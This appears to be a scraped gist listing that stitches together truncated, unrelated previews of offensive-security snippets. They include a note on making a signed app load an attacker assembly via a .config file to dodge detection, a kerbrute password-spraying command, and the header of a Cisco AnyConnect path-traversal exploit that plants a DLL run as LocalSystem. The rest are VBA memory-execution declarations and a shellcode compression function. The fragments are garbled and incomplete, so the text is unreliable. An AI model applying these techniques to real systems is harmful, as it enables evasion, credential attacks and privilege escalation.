Ryan Stephenson RCStep

We can do this by experimenting with .config files.

Many defenders catch/detect files that are renamed, they do this by matching Original Filename to Process Name

In this example, we don't have to rename anything. We simple coerce a trusted signed app to load our Assembly.

We do this by directing the application to read a config file we provide.

DogWhisperer - BloodHound Cypher Cheat Sheet (v2)

Collection of BloodHound Cypher Query Examples

The following content is generated using a preview release of Swimlane's pyattck.

This snippet of data is scoped to the following actor groups:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

	<#
	.Synopsis
	This module exploits a path traversal vulnerability in vpndownloader.exe of the Cisco AnyConnect client for Windows

	.Description
	This module exploits a path traversal vulnerability in vpndownloader.exe of the Cisco AnyConnect client for Windows.
	When the -Command argument isn't provided a DLL is created at C:\Program Files\Common Files\microsoft shared\ink\HID.dll.

	This DLL is used by the On-Screen Keyboard (osk.exe) of Windows, which is exposed on the login/lock screen.
	Opening the On-Screen Keyboard on this screen will run our DLL with LocalSystem privileges.

	using System;
	using System.Diagnostics;
	using System.Runtime.InteropServices;

	namespace BlockDllTest
	{
	class Program
	{
	static void Main(string[] args)
	{

	' Need to add project references to C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscoree.tlb and mscorlib.tlb

	Private Declare PtrSafe Function DispCallFunc Lib "oleaut32.dll" (ByVal pv As LongPtr, ByVal ov As LongPtr, ByVal cc As Integer, ByVal vr As Integer, ByVal ca As Long, ByRef pr As Integer, ByRef pg As LongPtr, ByRef par As Variant) As Long
	Private Declare PtrSafe Sub RtlMoveMemory Lib "kernel32" (Dst As Any, Src As Any, ByVal BLen As LongPtr)
	Private Declare PtrSafe Function VarPtrArray Lib "VBE7" Alias "VarPtr" (ByRef Var() As Any) As LongPtr

	#If Win64 Then
	Const LS As LongPtr = 8&
	#Else
	Const LS As LongPtr = 4&

	<#
	https://raw.githubusercontent.com/rasta-mouse/TikiTorch/master/Get-CompressedShellcode.ps1
	#>

	function Get-CompressedShellcode
	{
	[CmdletBinding()]
	Param([String]$inFile,[String]$outFile)
	$byteArray = [System.IO.File]::ReadAllBytes($inFile)
	Write-Verbose "Get-CompressedByteArray"